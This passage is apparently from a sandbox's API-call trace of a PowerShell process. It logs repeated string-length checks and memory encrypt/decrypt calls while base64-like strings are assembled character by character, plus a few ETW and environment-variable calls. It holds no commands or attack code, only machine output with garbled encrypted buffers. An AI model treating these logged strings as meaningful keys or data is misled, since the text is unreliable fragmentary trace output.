(param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xb239\x28ed\x8aab\xd5f0\xd68a\x3aa5\xb951\xc7fe") returned 0x28 [0131.819] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xb239\x28ed\x8aab\xd5f0\xd68a\x3aa5\xb951\xc7fe") returned 0x28 [0131.819] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.819] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4YvMXl鱄ⶈ丽췪鋦巁") returned 0x28 [0131.819] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.819] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\x4caf\x4404\x25e3\x4e9c\x592d\x7daa\xb791\x1230") returned 0x28 [0131.819] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\x4caf\x4404\x25e3\x4e9c\x592d\x7daa\xb791\x1230") returned 0x28 [0131.819] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.819] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4YvMXlaⶈ丽췪鋦巁") returned 0x28 [0131.820] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.820] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xd1e0\x28a3\x9bf9\x9fa9\xf7ef\xe0b6\x7600\xc46d") returned 0x28 [0131.820] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xd1e0\x28a3\x9bf9\x9fa9\xf7ef\xe0b6\x7600\xc46d") returned 0x28 [0131.820] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.820] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4YvMXlap丽췪鋦巁") returned 0x28 [0131.820] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.820] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xa2e0\x68f2\x1e87\xcd73\x8984\x124c\x1b9\x7b73") returned 0x28 [0131.820] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xa2e0\x68f2\x1e87\xcd73\x8984\x124c\x1b9\x7b73") returned 0x28 [0131.820] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.820] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4YvMXlapf췪鋦巁") returned 0x28 [0131.820] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.820] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\x5ad4\xd409\x3d01\xb305\x4741\xb4bd\xf545\xbaad") returned 0x28 [0131.820] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\x5ad4\xd409\x3d01\xb305\x4741\xb4bd\xf545\xbaad") returned 0x28 [0131.820] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.820] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4YvMXlapfc鋦巁") returned 0x28 [0131.820] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.821] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\x742d\xe9d9\xe3ea\xbdb0\xf5c1\x5a3d\x9e6e\x5142") returned 0x28 [0131.821] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\x742d\xe9d9\xe3ea\xbdb0\xf5c1\x5a3d\x9e6e\x5142") returned 0x28 [0131.821] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.821] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4YvMXlapfc+巁") returned 0x28 [0131.821] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.821] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\x22ad\x121\x9bcc\xd95b\x4d85\xa32a\x2ff7\x6321") returned 0x28 [0131.821] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\x22ad\x121\x9bcc\xd95b\x4d85\xa32a\x2ff7\x6321") returned 0x28 [0131.821] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.821] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4YvMXlapfc+w") returned 0x28 [0131.821] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.821] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xcd38\xd9ee\x7992\x4e13\xd138\x5421\xba9f\x308c") returned 0x28 [0131.821] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xcd38\xd9ee\x7992\x4e13\xd138\x5421\xba9f\x308c") returned 0x28 [0131.821] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xcd38\xd9ee\x7992\x4e13\xd138\x5421\xba9f\x308c") returned 0x28 [0131.821] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xcd38\xd9ee\x7992\x4e13\xd138\x5421\xba9f\x308c\x6b\x2e\x6d\x70\x33\x2e\x6c\x6f") returned 0x30 [0131.821] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0131.821] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4YvMXlapfc+wH繍鰀㴃Ԓ곅洣恸") returned 0x30 [0131.822] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0131.822] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xcd38\xd9ee\x7992\x4e13\xd138\x5421\xba9f\x308c\x988a\xed13\xbac7\xaf8d\x575f\xd16e\xbb4e\xe086") returned 0x30 [0131.822] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xcd38\xd9ee\x7992\x4e13\xd138\x5421\xba9f\x308c\x988a\xed13\xbac7\xaf8d\x575f\xd16e\xbb4e\xe086") returned 0x30 [0131.822] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0131.822] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4YvMXlapfc+wHt鰀㴃Ԓ곅洣恸") returned 0x30 [0131.822] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0131.822] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xcd38\xd9ee\x7992\x4e13\xd138\x5421\xba9f\x308c\xe61\xa9eb\xc2e8\xa436\x93f8\xf78d\x4c2f\x333d") returned 0x30 [0131.822] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xcd38\xd9ee\x7992\x4e13\xd138\x5421\xba9f\x308c\xe61\xa9eb\xc2e8\xa436\x93f8\xf78d\x4c2f\x333d") returned 0x30 [0131.822] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0131.822] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4YvMXlapfc+wHtI㴃Ԓ곅洣恸") returned 0x30 [0131.822] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0131.822] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xcd38\xd9ee\x7992\x4e13\xd138\x5421\xba9f\x308c\x7fa6\x5ca5\xb715\x3920\x8bbe\xe3c8\xd261\xa4cc") returned 0x30 [0131.822] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\xcd38\xd9ee\x7992\x4e13\xd138\x5421\xba9f\x308c\x7fa6\x5ca5\xb715\x3920\x8bbe\xe3c8\xd261\xa4cc") returned 0x30 [0131.822] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0131.822] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4YvMXlapfc+wHtI=Ԓ곅洣恸") returned 0x30 [0131.822] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0131.823] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.823] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.823] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.823] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0131.823] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.823] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.823] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.823] SysStringLen (param_1="") returned 0x8 [0131.823] SysStringLen (param_1="Y") returned 0x8 [0131.823] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.824] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0131.824] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0131.824] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.824] SysStringLen (param_1="YW") returned 0x8 [0131.824] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.824] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0131.824] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0131.824] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.824] SysStringLen (param_1="YWM") returned 0x8 [0131.824] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.824] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0131.824] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0131.824] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.824] SysStringLen (param_1="YWM1") returned 0x8 [0131.824] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.825] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0131.825] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0131.825] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.825] SysStringLen (param_1="YWM1O") returned 0x8 [0131.825] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.825] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0131.825] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0131.825] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.825] SysStringLen (param_1="YWM1OT") returned 0x8 [0131.825] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.825] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0131.825] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0131.825] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.825] SysStringLen (param_1="YWM1OTE") returned 0x8 [0131.825] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.825] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0131.825] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0131.825] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.826] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0131.826] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.826] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0131.826] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0131.826] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0131.826] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0131.826] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.826] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0131.826] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.826] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0131.826] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0131.826] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.826] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0131.826] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.826] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0131.827] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0131.827] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.827] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0131.827] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.827] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0131.827] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0131.827] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.827] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0131.827] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.827] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0131.827] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0131.827] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.827] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0131.827] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.827] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0131.827] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0131.827] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.828] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0131.828] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.828] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0131.828] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0131.828] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.828] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0131.828] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.828] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0131.828] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0131.828] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.828] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0131.828] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.828] SysStringLen 